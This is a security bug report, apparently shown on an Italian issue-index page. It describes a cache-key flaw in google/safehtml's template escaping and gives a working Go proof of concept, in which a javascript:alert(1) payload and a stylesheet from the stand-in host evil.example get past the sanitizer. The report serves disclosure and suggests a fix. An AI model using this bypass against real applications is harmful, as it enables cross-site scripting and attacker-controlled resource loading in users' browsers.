safehtml/template: escapeTree's cache key is coarser than context equality, so a sub-template can be escaped for the wrong context
Nessuno ha ancora preso questa issue.
Valutazione
- Difficoltà
- 4/5
- Tempo stimato
- 3-5 giorni
- Idoneità per principianti
- 48/100
Direzione di ricerca
Inizia da context.eq in template/context.go:42, quindi confrontalo con mangle ed escapeTree in template/escape.go:464-488. Leggi le decisioni del sanitizer in template/sanitize.go:100 e seguenti e riproduci entrambi i PoC forniti per comprendere le collisioni della cache. Il lavoro è completato quando i contesti che differiscono nei campi controllati da context.eq non riutilizzano più un risultato escaped incompatibile ed entrambi gli esempi mantengono la sanitization richiesta.
Scritto dal modello di indicizzazione a partire dal testo della issue.
Descrizione
Hi,
safehtml/template escapes each sub-template once and caches the result under a name produced by mangle(). The cache key omits fields that genuinely change the sanitization context, so a {{template}} invoked from two different places is escaped using only the first call site's context and the cached result is reused at the second. If the first call site sits in a weaker context, the second one silently loses its sanitizer. The template text is a constant throughout; only the data passed to Execute is attacker controlled.
context.eq (template/context.go:42) compares state, delim, element, attr, err, scriptType and linkRel. mangle (template/escape.go:464) builds its key from state, delim, attr.name and element.name only, because attr.String() (template/context.go:183) is just "attr" + name. attr.value, scriptType and linkRel never reach the key. escapeTree (template/escape.go:488) then returns e.output[dname] on a hit, so two contexts that context.eq considers unequal collide.
Two of the missing fields are load bearing.
attr.value picks the URL sanitizer in sanitizersForAttributeValue (template/sanitize.go:100 onward). An empty prefix gets _sanitizeTrustedResourceURLOrURL, which runs URLSanitized and rejects javascript:. A non-empty prefix containing no "#" or "?" gets only _normalizeURL, which performs no scheme check at all. Calling the same sub-template first from href="/safe/..." and then from href="..." caches the weaker chain and applies it to both.
linkRel picks the contract for a href in sanitizationContextForAttrVal (template/sanitize.go:148). rel="prefetch" yields TrustedResourceURLOrURL, rel="stylesheet" yields TrustedResourceURL. A prefetch call site seen first makes the stylesheet call site accept a plain string.
Minimal PoC against current safehtml:
mkdir poc && cd poc
go mod init poc
go get github.com/google/[email protected]
# save the file below as main.go
go run .
package main
import (
"fmt"
"strings"
"github.com/google/safehtml/template"
)
func render(label string, t *template.Template, err error, x string) {
if err != nil {
fmt.Printf("%-16s parse rejected: %v\n", label, err)
return
}
var out strings.Builder
if err := t.Execute(&out, map[string]interface{}{"X": x}); err != nil {
fmt.Printf("%-16s rejected: %v\n", label, err)
return
}
fmt.Printf("%-16s %s\n", label, out.String())
}
func main() {
fmt.Println("A. attr.value is not in the cache key")
a, aerr := template.New("a").Parse(
`<a href="{{template "T" .}}">x</a>` +
`{{define "T"}}{{.X}}{{end}}`)
render(" alone:", a, aerr, "javascript:alert(1)")
b, berr := template.New("b").Parse(
`<a href="/safe/{{template "T" .}}">x</a>` +
`<a href="{{template "T" .}}">y</a>` +
`{{define "T"}}{{.X}}{{end}}`)
render(" after a call:", b, berr, "javascript:alert(1)")
fmt.Println("\nB. linkRel is not in the cache key")
c, cerr := template.New("c").Parse(
`<link rel="stylesheet" href="{{template "T" .}}">` +
`{{define "T"}}{{.X}}{{end}}`)
render(" alone:", c, cerr, "//evil.example/x.css")
d, derr := template.New("d").Parse(
`<link rel="prefetch" href="{{template "T" .}}">` +
`<link rel="stylesheet" href="{{template "T" .}}">` +
`{{define "T"}}{{.X}}{{end}}`)
render(" after a call:", d, derr, "//evil.example/x.css")
}
Actual output:
A. attr.value is not in the cache key
alone: <a href="about:invalid#zGoSafez">x</a>
after a call: <a href="/safe/javascript:alert%281%29">x</a><a href="javascript:alert%281%29">y</a>
B. linkRel is not in the cache key
alone: rejected: template: c:1:65: executing "T$htmltemplate_StateAttr_DelimDoubleQuote_attrHref_elementLink" at <_sanitizeTrustedResourceURL>: error calling _sanitizeTrustedResourceURL: expected a safehtml.TrustedResourceURL value
after a call: <link rel="prefetch" href="//evil.example/x.css"><link rel="stylesheet" href="//evil.example/x.css">
In both pairs the sub-template on its own is handled correctly, and adding one earlier call site is what breaks it. Browsers percent decode the body of a javascript: URL before evaluating it, so href="javascript:alert%281%29" executes. The linkRel case defeats the TrustedResourceURL requirement on <link rel=stylesheet> and loads a stylesheet from an origin the attacker chose. Both outcomes are exactly what the package exists to make unrepresentable, and because the trigger is an unrelated call site elsewhere in the template set, adding, reordering or deleting one can turn an application vulnerable with no change to the code under review.
Suggested fix: make the cache key agree with context.eq. Either include attr.value, attr.ambiguousValue, scriptType and linkRel in the mangled name, or key e.output on the context value itself rather than on a string derived from part of it.
Attack scenario
- attr.value collision: attacker input can become a javascript: link instead of about:invalid. Clicking it gives JavaScript execution in the application's origin---effectively reflected/stored XSS depending on the data source. CSP may mitigate this, and this specific PoC requires user interaction.
- linkRel collision: attacker input can bypass the TrustedResourceURL requirement and load attacker-controlled CSS as a stylesheet. Consequences include UI manipulation, phishing, and potentially data leakage; CSP style-src may mitigate it.
- Lingua principale
- Go
- Stelle
- 380
- Fork
- 23
- Metriche di merge delle PR
- Nessuna PR unita negli ultimi 30g
Preparare l'ambiente
- Nessun Dockerfile né file Docker Compose
- Nessun modello di pull request
- Leggi la guida per i contributori
Come iniziare
- Leggi tutta la issue e poi la guida ai contributi del progetto.
- Commenta sulla issue per dire che te ne occupi tu — evita che due persone facciano lo stesso lavoro.
- Fai un fork del repository e lavora su un branch.
- Apri una pull request che faccia riferimento al numero della issue.
Altre issue di google/safehtml
-
Difficoltà 2/5 1-3 ore Idoneità per principianti 78/100
-
Difficoltà 2/5 1-3 ore Idoneità per principianti 76/100
-
Difficoltà 3/5 1-2 giorni Idoneità per principianti 72/100
-
Difficoltà 4/5 3-5 giorni Idoneità per principianti 35/100
-
Difficoltà 4/5 3-5 giorni Idoneità per principianti 35/100
Tutte le issue di google/safehtml
Issue simili
-
darwin zsh
Difficoltà 1/5 Meno di un'ora Idoneità per principianti 90/100
carapace-sh/carapace-bin#3846 ·
I maintainer di solito rispondono entro 1 giorno
-
appplication - is a typo?Aperta
Difficoltà 1/5 Meno di un'ora Idoneità per principianti 70/100
golang-app/ecommerce#179 ·
I maintainer di solito rispondono entro 1 giorno
-
Simulator process crashes (nil pointer panic) when the dataset returns an errorForse già presa @EugeneVon l’ha presa oggi. Aperta
Difficoltà 2/5 1-3 ore Idoneità per principianti 78/100
llm-d/llm-d-inference-sim#772 ·
I maintainer di solito rispondono entro 1 giorno
-
refactor: decode numchildren with a lenient int type instead of a hand-written xProp.UnmarshalXMLAperta
Difficoltà 2/5 1-3 ore Idoneità per principianti 84/100
crazy-goat/xdbg#125 ·
I maintainer di solito rispondono entro 1 giorno
-
150 points ci complexity:medium drips-wave help wanted medium
Difficoltà 2/5 1-3 ore Idoneità per principianti 68/100
sorotrail/SoroBeacon#449 ·
I maintainer di solito rispondono entro 1 giorno